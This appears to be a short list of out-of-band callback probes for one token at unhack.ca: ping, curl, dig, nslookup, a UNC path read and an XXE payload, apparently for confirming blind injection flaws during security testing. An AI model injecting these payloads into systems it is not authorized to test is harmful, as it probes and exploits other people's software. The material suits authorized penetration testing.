$ ping -c1 -p 005c716c1091f5b4fbdac43a1e93cd00 unhack.ca
 

$ curl http://unhack.ca/p/5c716c1091f5b4fbdac43a1e93cd
 

$ dig 5c716c1091f5b4fbdac43a1e93cd @unhack.ca
 

$ dig 5c716c1091f5b4fbdac43a1e93cd.ns.unhack.ca
 

C:\> nslookup 5c716c1091f5b4fbdac43a1e93cd unhack.ca
 

C:\> type \\unhack.ca\5c716c1091f5b4fbdac43a1e93cd\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5c716c1091f5b4fbdac43a1e93cd">]>
    <foo>&xxe;</foo>